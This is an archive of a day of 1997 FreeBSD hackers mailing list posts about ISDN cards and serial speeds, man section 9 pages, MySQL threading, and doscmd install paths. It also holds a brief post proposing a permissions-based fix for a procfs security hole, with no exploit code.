From owner-freebsd-hackers Sun Aug 10 00:21:08 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id AAA07732 for hackers-outgoing; Sun, 10 Aug 1997 00:21:08 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id AAA07724 for ; Sun, 10 Aug 1997 00:21:02 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA04718 for hackers@FreeBSD.ORG; Sun, 10 Aug 1997 09:21:01 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id JAA00326; Sun, 10 Aug 1997 09:05:28 +0200 (MET DST) Message-ID: <19970810090528.OS10788@uriah.heep.sax.de> Date: Sun, 10 Aug 1997 09:05:28 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Tom Samplonius on Aug 9, 1997 13:15:27 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Tom Samplonius wrote: > > going from TA to TA or TA to Router, I'd love to see an internal card that > > doesn't use 16550's that I can put in my freebsd machine and get good > > This can be improved a lot. Most TAs support a 230400bps rate, but > FreeBSD does not. Well, that's not the first time you're spreading this misinformation around: FreeBSD _would_ support this rate (basically), but the under- lying hardware doesn't. If you've got a card where you could double the oscillator frequency, simply do it, and FreeBSD will support 230400 bps (but call it 115200 still). *shudder* (I seldom agree with dennis, but in this respect, i agree with him. Abusing an async line for feeding traffic that originally came in via a synchronuous transport is horrible.) > FreeBSD-current now detects the 16670 UART that supports 230400 (and > faster. But it doesn't seem possible to set a port to 230400. Ah, that's what you mean. So, if they support 230 kbps, they must have left the way it used to be done in a 8250-compatible UART. (The divisor 1 already yielded 115200. Are they using divisor 0 now? :-) > This is mainly > due to the extra overhead of async versus sync serial (well, sync serial > carries the "overhead" out of band). No. Sync serial (HDLC) still has the overhead in-band, but it's much less. Async serial means 10 bits per byte (plus a little more if the bytes aren't adjacent), Sync serial means slightly more than 8 bits per byte (where `slightly more' depends on the data you are sending, since it's the overhead required to escape potential Sync flagging bit sequences). > BTW, I use an 3COM Impact II extrernal ISDN TA. It works very well, > except that I'd like to drive it at 230400. At 115200 bps, I get > round-trip times of 80ms. Btw., i'm using a Teles card. :-) With one channel (i don't wanna pay for two channels anyway), i get RTTs of 35 ms. :-)) The usual data rate (FTP rate) is 7.3 KB/s, although i've already been surprised to see 8.3 KB/s once (which is impossible), and this was even across two chained ISDN lines. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Aug 10 01:11:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA09448 for hackers-outgoing; Sun, 10 Aug 1997 01:11:04 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA09433 for ; Sun, 10 Aug 1997 01:10:59 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id KAA05204; Sun, 10 Aug 1997 10:10:58 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id KAA00776; Sun, 10 Aug 1997 10:06:23 +0200 (MET DST) Message-ID: <19970810100623.WM52623@uriah.heep.sax.de> Date: Sun, 10 Aug 1997 10:06:23 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: garbanzo@hooked.net (Alex) Subject: Re: sb(4) man page References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Alex on Aug 9, 1997 16:26:12 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Alex wrote: > Well, I noticed that there was no man page for the sound blaster, so I cut > and pasted some things from the various sound driver sources, and came up > with something I hope is fairly accurate and worth including. Hope ya'll > don't mind the smallish attachment. Thanks, gonna commit it now. Anyway: > .\" SoundBlaster and any phrases including it's name are copyright > .\" Creative Labs, not me. > .\" > .\" alex!@bigfoot.com ^^^^^^^^^^^^^^^^^ That's IMHO an invalid mail address. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Aug 10 01:22:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA09979 for hackers-outgoing; Sun, 10 Aug 1997 01:22:18 -0700 (PDT) Received: from helbig.informatik.ba-stuttgart.de (rvc1.informatik.ba-stuttgart.de [141.31.112.22]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA09971 for ; Sun, 10 Aug 1997 01:22:15 -0700 (PDT) Received: (from helbig@localhost) by helbig.informatik.ba-stuttgart.de (8.8.7/8.8.5) id KAA17319; Sun, 10 Aug 1997 10:22:08 +0200 (MET DST) From: Wolfgang Helbig Message-Id: <199708100822.KAA17319@helbig.informatik.ba-stuttgart.de> Subject: Re: ISDN drivers/cards In-Reply-To: <19970810090528.OS10788@uriah.heep.sax.de> from J Wunsch at "Aug 10, 97 09:05:28 am" To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 10 Aug 1997 10:22:07 +0200 (MET DST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Btw., i'm using a Teles card. :-) With one channel (i don't wanna pay > for two channels anyway), i get RTTs of 35 ms. :-)) The usual data Just for your information, these are the ping statistics for Teles 16/0 and BISDN on both sides. I am using raw IP over HDLC. Data transfer rate is always 7.5 KB/s. At least that is what fetch(1) says. As you can see from the first two turn around times, it takes about 1.1s to dial and connect. PING terminator (141.31.11.23): 56 data bytes 64 bytes from 141.31.11.23: icmp_seq=0 ttl=255 time=1115.342 ms 64 bytes from 141.31.11.23: icmp_seq=1 ttl=255 time=111.464 ms 64 bytes from 141.31.11.23: icmp_seq=2 ttl=255 time=30.495 ms 64 bytes from 141.31.11.23: icmp_seq=3 ttl=255 time=29.772 ms 64 bytes from 141.31.11.23: icmp_seq=4 ttl=255 time=30.439 ms 64 bytes from 141.31.11.23: icmp_seq=5 ttl=255 time=29.985 ms 64 bytes from 141.31.11.23: icmp_seq=6 ttl=255 time=29.704 ms 64 bytes from 141.31.11.23: icmp_seq=7 ttl=255 time=29.736 ms --- terminator ping statistics --- 8 packets transmitted, 8 packets received, 0% packet loss round-trip min/avg/max/stddev = 29.704/175.867/1115.342/356.088 ms That's why I am so enthusiastic about (B)ISDN for wide area networking. Wolfgang From owner-freebsd-hackers Sun Aug 10 01:57:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA11424 for hackers-outgoing; Sun, 10 Aug 1997 01:57:40 -0700 (PDT) Received: from news.IAEhv.nl (root@news.IAEhv.nl [194.151.64.4]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id BAA11417 for ; Sun, 10 Aug 1997 01:57:35 -0700 (PDT) Received: from LOCAL (uucp@localhost) by news.IAEhv.nl (8.6.13/1.63) with IAEhv.nl; pid 7514 on Sun, 10 Aug 1997 08:57:28 GMT; id IAA07514 efrom: marc@nietzsche.bowtie.nl; eto: UNKNOWN Received: from localhost (localhost [127.0.0.1]) by nietzsche.bowtie.nl (8.8.2/8.7.3) with ESMTP id KAA27622; Sun, 10 Aug 1997 10:59:34 +0200 (MET DST) Message-Id: <199708100859.KAA27622@nietzsche.bowtie.nl> X-Mailer: exmh version 1.6.7 5/3/96 To: Wolfgang Helbig cc: peter@grendel.IAEhv.nl (Peter Korsten), hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards In-reply-to: helbig's message of Sat, 09 Aug 1997 15:32:30 +0200. <199708091332.PAA00255@helbig.informatik.ba-stuttgart.de> Reply-to: marc@bowtie.nl Date: Sun, 10 Aug 1997 10:59:34 +0200 From: Marc van Kempen Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > and firewalling. > > So there is at least some use of bisdn-097 and it should be similar > in other Eurorpean countries. > > > I need PPP to make my ISDN card of use and though the bisdn code > > may be okay (I can neither confirm nor deny that), installing it > > is a real pain in the you-know-what and the PPP-hack looks really > > yuckie to me. > > > > I would be very happy with ISDN-card support as a LKM and a PPP > > daemon that can talk to something else than a serial line. If > > I could offer help in this, feel free to mail me. > > Just grab bisdntest-2 (if you're running FreeBSD 2.2.2), bisdn-097 > and BISDN-ppp-FreeBSD2.2.tgz from ftp.muc.ditec.de, try to make it > work, and fix it if it doesn't. I understand that bisdn is rewritten > by Hellmuth. The next release might hit the disks in about a year. > For the time being, a tutorial is needed for installing/configuring > bisdn and ppp. So if you want to help ... > Yeahh, go for it Peter ;) (you might even be able to persuade me to help too) Marc. ---------------------------------------------------- Marc van Kempen BowTie Technology Email: marc@bowtie.nl WWW & Databases tel. +31 40 2 43 20 65 fax. +31 40 2 44 21 86 http://www.bowtie.nl ---------------------------------------------------- From owner-freebsd-hackers Sun Aug 10 02:51:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA14011 for hackers-outgoing; Sun, 10 Aug 1997 02:51:05 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA14002 for ; Sun, 10 Aug 1997 02:50:58 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id LAA05921 for hackers@FreeBSD.ORG; Sun, 10 Aug 1997 11:50:56 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id LAA01377; Sun, 10 Aug 1997 11:27:42 +0200 (MET DST) Message-ID: <19970810112741.XA51262@uriah.heep.sax.de> Date: Sun, 10 Aug 1997 11:27:41 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards References: <19970810090528.OS10788@uriah.heep.sax.de> <199708100822.KAA17319@helbig.informatik.ba-stuttgart.de> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199708100822.KAA17319@helbig.informatik.ba-stuttgart.de>; from Wolfgang Helbig on Aug 10, 1997 10:22:07 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Wolfgang Helbig wrote: > Just for your information, these are the ping statistics for Teles > 16/0 and BISDN on both sides. I am using raw IP over HDLC. Data > transfer rate is always 7.5 KB/s. At least that is what fetch(1) > says. As you can see from the first two turn around times, it > takes about 1.1s to dial and connect. > > PING terminator (141.31.11.23): 56 data bytes > 64 bytes from 141.31.11.23: icmp_seq=0 ttl=255 time=1115.342 ms > 64 bytes from 141.31.11.23: icmp_seq=1 ttl=255 time=111.464 ms > 64 bytes from 141.31.11.23: icmp_seq=2 ttl=255 time=30.495 ms For me, it takes a little longer: j@uriah 100% /sbin/ping uriah-gw.interface-business.de PING uriah-gw.interface-business.de (193.101.57.161): 56 data bytes 64 bytes from 193.101.57.161: icmp_seq=3 ttl=60 time=36.169 ms 64 bytes from 193.101.57.161: icmp_seq=4 ttl=60 time=36.223 ms 64 bytes from 193.101.57.161: icmp_seq=5 ttl=60 time=36.053 ms 64 bytes from 193.101.57.161: icmp_seq=6 ttl=60 time=36.239 ms ^C --- uriah-gw.interface-business.de ping statistics --- 7 packets transmitted, 4 packets received, 42% packet loss round-trip min/avg/max/stddev = 36.053/36.171/36.239/0.073 ms That makes 3 packets being lost, or ~ 3 seconds connection setup time. The lost packets are an artifact of my PPP implementation. I'm already using a second higher-priority queue for the PPP control protocol traffic, and don't serve the regular queues at all before LCP is up. Anyway, in the time between LCP is up and IPCP is being negotiated (but not yet up), the first three ping packets will already be sent, and ignored by the remote peer (since IPCP is not yet ready). The only solution for this would be to use separate queues for the various network protocols, and serve them only once the corresponding NCP is up. This IMHO wasn't worth the while, so i'm only using the two `standard' network traffic queues (slow and fast queue), and as a compromise, enable them as soon as LCP is ready. The connection setup time is one second more than it used to be, due to a braindead remote implementation that wants to negotiate a non- empty asyncmap. So now, these negotiation attempt continue until my end overruns the max_error counter, and stops negotiating asyncmap at all. This costs about one second (ten failed attempts). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Aug 10 06:21:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA20599 for hackers-outgoing; Sun, 10 Aug 1997 06:21:45 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA20590 for ; Sun, 10 Aug 1997 06:21:39 -0700 (PDT) Message-Id: <199708101321.GAA20590@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA225768475; Sun, 10 Aug 1997 23:07:55 +1000 From: Darren Reed Subject: creating man 9f To: hackers@freebsd.org Date: Sun, 10 Aug 1997 23:07:54 +1000 (EST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I'd like to nominate the following man pages for duplication into section 9f (kernel functions): bcmp, bcopy, bzero memcpy printf, vprintf (I'me sure there are some differences) putc free index, rindex inet_ntoa qsort random, srandom strcat (need to remove strncat or add it to the kernel*) strcmp, strncmp strcpy, strncpy strlen ...just to start the man9 section off. Comments ? * - there's a noticable lack of the *nprintf functions from the kernel. Given the number of buffer overflow problems and the trend towards their use, shouldn't things like strncat & friends be put in the kernel too ? Darren From owner-freebsd-hackers Sun Aug 10 06:26:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA20772 for hackers-outgoing; Sun, 10 Aug 1997 06:26:53 -0700 (PDT) Received: from locust.etext.org (locust.etext.org [141.211.26.90]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA20767 for ; Sun, 10 Aug 1997 06:26:49 -0700 (PDT) Received: from localhost (pauls@localhost) by locust.etext.org (8.8.7/8.7.3) with SMTP id JAA07509; Sun, 10 Aug 1997 09:26:45 -0400 (EDT) Date: Sun, 10 Aug 1997 09:26:45 -0400 (EDT) From: Paul Southworth Reply-To: Paul Southworth To: Amancio Hasty cc: freebsd-hackers@FreeBSD.ORG Subject: Re: MySQL using FreeBSD native threads (3.0) In-Reply-To: <199708070235.TAA10446@rah.star-gate.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 6 Aug 1997, Amancio Hasty wrote: :Care to just post the questions? These were sent to jb@cimlogic.com.au but that address bounces now (a couple weeks ago it worked, but the mailhost there has been unreachable for a week or so). If you have any answers to these, please copy me since I do not subscribe to the hackers list currently. The questions below refer to porting MySQL to use FreeBSD native threads; the work is being done using the 3.0-970618-SNAP release. 1) There isn't a sched.h file. pthread.h have prototypes for some functions that uses sched_param but it's a little problem to use them now :) 2) I looked into /usr/src/lib/libc_r/uthread/pthread_priv.h and found the following: ---- struct sched_param { int prio; /* Should be named sched_priority */ void *no_data; }; enum schedparam_policy { SCHED_RR, SCHED_IO, SCHED_FIFO, SCHED_OTHER }; ---- Shouldn't this be in a sched.h file ? It would also be nice if 'prio' would be renamed 'sched_priority'. I think this is the standard slot name (at least all other pthread implementation uses this) 3) The following functions are not defined: pthread_setprio(), pthread_attr_setprio(),pthread_attr_setscope() When do you think these will be available? 4) I have now fixed workarounds for the above cases. All code compiles and links clean but when run a test program, pthread_create doesn't start a thread. Should threads work at all in FreeBSD 3.0 ? From owner-freebsd-hackers Sun Aug 10 06:59:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA21764 for hackers-outgoing; Sun, 10 Aug 1997 06:59:07 -0700 (PDT) Received: from onizuka.tb.9715.org (w1gkPgFSwKhkmdmRBIVQXK9IDnOItJZl@onizuka.tb.9715.org [194.97.84.67]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA21744 for ; Sun, 10 Aug 1997 06:59:00 -0700 (PDT) Received: by onizuka.tb.9715.org via sendmail with stdio id for freebsd-hackers@FreeBSD.ORG; Sun, 10 Aug 1997 15:58:51 +0200 (CEST) Message-Id: From: torstenb@onizuka.tb.9715.org (Torsten Blum) Subject: Re: ISDN drivers/cards In-Reply-To: from Hellmuth Michaelis at "Aug 10, 97 00:03:48 am" To: hm@kts.org Date: Sun, 10 Aug 1997 15:58:50 +0200 (CEST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hellmuth Michaelis wrote: > One manufacturer of such device is Bintec (i'm in no way affiliated > with them, not even as a customer), look at www.bintec.de to get an > impression (i think they even support the US ISDN protocols). Yep, they support National ISDN 1 (Northern Telecom DMS-100) and National ISDN 2 (AT&T 5ESS Custom). Japan's INS 64 (NTT) is supported too, but they don't have a approval for Japan yet. Bintec's CAPI library for Unix comes with source. Porting is quite easy, just replace poll() with select(). If anyone want's the patch, send me an email. > And if anybody now asks what a CAPI is, have a look at www.capi.org. Last time they only had .doc's. You can find PDF versions at ftp.bintec.de:/pub/capi/ -tb From owner-freebsd-hackers Sun Aug 10 07:20:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA22557 for hackers-outgoing; Sun, 10 Aug 1997 07:20:55 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA22551 for ; Sun, 10 Aug 1997 07:20:53 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id QAA08818 for hackers@FreeBSD.ORG; Sun, 10 Aug 1997 16:20:51 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id QAA03572; Sun, 10 Aug 1997 16:02:18 +0200 (MET DST) Message-ID: <19970810160218.ZD61398@uriah.heep.sax.de> Date: Sun, 10 Aug 1997 16:02:18 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: creating man 9f References: <199708101321.GAA20590@hub.freebsd.org> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199708101321.GAA20590@hub.freebsd.org>; from Darren Reed on Aug 10, 1997 23:07:54 +1000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Darren Reed wrote: > I'd like to nominate the following man pages for duplication into section > 9f (kernel functions): Duplication isn't too good. I'm rather in favor of stub pages then, with an .Xr to the section 3 pages. > printf, vprintf (I'me sure there are some differences) Quite a number. Also, the related interfaces log(9), addlog(9), uprintf(9), tprintf(9), etc. need to be mentioned. Too many people tend to use printf() where one of the alternate functions would be better. (Eg. using log(LOG_DEBUG, ...) for debug output doesn't clutter the console.) > putc > free free(9) is different from free(3), and is already covered in the malloc(9) page. > ...just to start the man9 section off. Comments ? `start' is nice. :-) j@uriah 296% ls -1 /usr/share/man/man9 | wc -l 147 > * - there's a noticable lack of the *nprintf functions from the kernel. > Given the number of buffer overflow problems and the trend towards their > use, shouldn't things like strncat & friends be put in the kernel too ? If an abuser can abuse kernel functions, it doesn't matter whether they've got an `n' in their name or not. ;-) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Aug 10 07:27:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA22831 for hackers-outgoing; Sun, 10 Aug 1997 07:27:00 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA22826 for ; Sun, 10 Aug 1997 07:26:57 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id QAA12699 for hackers@freebsd.org; Sun, 10 Aug 1997 16:38:55 +0200 (CEST) From: Mikael Karpberg Message-Id: <199708101438.QAA12699@ocean.campus.luth.se> Subject: Re: /usr/dos for doscmd In-Reply-To: <19970810084631.HZ57983@uriah.heep.sax.de> from J Wunsch at "Aug 10, 97 08:46:31 am" To: joerg_wunsch@uriah.heep.sax.de Date: Sun, 10 Aug 1997 16:37:49 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to J Wunsch: > As Faried Nawaz wrote: > > > Hmmm... You are right... What is a good "semi-standard" place to > > put such things. I don't necessarily think that we should create > > another directory, or should we? > > > What does it try to install? How about somewhere in /usr/libdata? > > I also thought about /usr/libdata (or /usr/libexec -- it seems to be > an executable file, although not a Unix executable). > > The Makefile would currently break `make release', btw., since it > relies on X11 being installed. This should probably be made > automatically dependant on the actual configuration. Negative side > effect: the doscmd that ships with releases won't be able to do X11. It might be nice to have a directory where doscmd can play around, and where you can also place stuff related to it (like maybe default config file?). Wouldn't /compat/dos work? Or /usr/local/lib/dos or something? About relying on X11 being installed... Can't that be made checked at runtime? By using dlopen() instead of normal dependency, or so? /Mikael From owner-freebsd-hackers Sun Aug 10 07:54:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA24151 for hackers-outgoing; Sun, 10 Aug 1997 07:54:06 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA24137 for ; Sun, 10 Aug 1997 07:54:03 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id RAA12760; Sun, 10 Aug 1997 17:05:55 +0200 (CEST) From: Mikael Karpberg Message-Id: <199708101505.RAA12760@ocean.campus.luth.se> Subject: Re: creating man 9f In-Reply-To: <199708101321.GAA20590@hub.freebsd.org> from Darren Reed at "Aug 10, 97 11:07:54 pm" To: avalon@coombs.anu.edu.au (Darren Reed) Date: Sun, 10 Aug 1997 17:05:55 +0200 (CEST) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to Darren Reed: > > I'd like to nominate the following man pages for duplication into section > 9f (kernel functions): > > bcmp, bcopy, bzero > memcpy > printf, vprintf (I'me sure there are some differences) > putc > free > index, rindex > inet_ntoa > qsort > random, srandom > strcat (need to remove strncat or add it to the kernel*) > strcmp, strncmp > strcpy, strncpy > strlen > > ...just to start the man9 section off. Comments ? > > * - there's a noticable lack of the *nprintf functions from the kernel. > Given the number of buffer overflow problems and the trend towards their > use, shouldn't things like strncat & friends be put in the kernel too ? Not really realted, but it's always annoyed me that all the strcat and strcpy functions are so ineffective. They return a pointer to the buffer you supply to the function (which is useless since you have it already) and not a pointer to the trailing NUL. So if you want to add two strings you use strcat twice, and thereby have the whole string walked through at least too times too much. This always leads to me writing my own "xstrcpy()" or so, which makes it possible to do: ptr = xstrcpy(buffer, "first "); ptr = xstrcpy(ptr, "second"); ptr = xstrcpy(ptr, "third"); ..etc.. And having it an inline function you basically waste no CPU for meaningless functioncalls and looping through something you've already looped through. My point is... shouldn't the kernel, at least, be written with efficiency in mind? No matter if it's not that big of a deal (I guess the kernel is not doing too much string handling, anyway). But I guess this is not the only case of inefficient code. /Mikael - mainly blowing off steam for RL stuff :-) From owner-freebsd-hackers Sun Aug 10 08:02:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA24555 for hackers-outgoing; Sun, 10 Aug 1997 08:02:24 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA24545 for ; Sun, 10 Aug 1997 08:02:21 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id RAA09308 for freebsd-hackers@freebsd.org; Sun, 10 Aug 1997 17:02:20 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id RAA04108; Sun, 10 Aug 1997 17:01:38 +0200 (MET DST) Message-ID: <19970810170138.SM15800@uriah.heep.sax.de> Date: Sun, 10 Aug 1997 17:01:38 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Subject: Re: /usr/dos for doscmd References: <199708101438.QAA12699@ocean.campus.luth.se> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Andrew Stesin on Aug 10, 1997 17:59:09 +0300 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Andrew Stesin wrote: > > It might be nice to have a directory where doscmd can play around, > > and where you can also place stuff related to it (like maybe > > default config file?). Wouldn't /compat/dos work? Or > > /usr/local/lib/dos or something? > /usr/local/dos -- I vote for it.:) Errm, Mikael resent this to the list what he sent me privately... No, /usr/local is already reserved for the ports system. /compat perhaps not. I still vote for /usr/libdata/dos/. > > About relying on X11 being installed... Can't that be made checked > > at runtime? By using dlopen() instead of normal dependency, or > > so? > Nice idea. Did'ya ever try? I think that's gonna be hard if many symbols are being used. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sun Aug 10 08:14:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA25057 for hackers-outgoing; Sun, 10 Aug 1997 08:14:09 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA25052 for ; Sun, 10 Aug 1997 08:14:06 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id KAA07472 for ; Sun, 10 Aug 1997 10:19:52 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Sun, 10 Aug 1997 10:19:52 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: hackers@FreeBSD.org Subject: Fix for the PROCFS security hole! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I'm not to sure how to do it, but IF the procfs system could be modified to somehow act like the /dev/tty* system, where the second a user logs on the device is then owned by them and all other users access is revoked. This could work that a setuid proc when exec'd, procfs would automatically change permissions on it so that it is untainable. would this work? would it break a lot of stuff? i don't see why you would need to modify effectivly other peoples' programs except to cause some sort of security breach. ._________________________________________ __ _ |Alfred Perlstein - Programming & SysAdmin |perlsta@sunyit.edu |http://www.cs.sunyit.edu/~perlsta : ---"Have you seen my FreeBSD tatoo?" ' From owner-freebsd-hackers Sun Aug 10 08:41:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA26378 for hackers-outgoing; Sun, 10 Aug 1997 08:41:06 -0700 (PDT) Received: from bitbox.follo.net (eivind@bitbox.follo.net [194.198.43.36]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA26372 for ; Sun, 10 Aug 1997 08:41:03 -0700 (PDT) Received: (from eivind@localhost) by 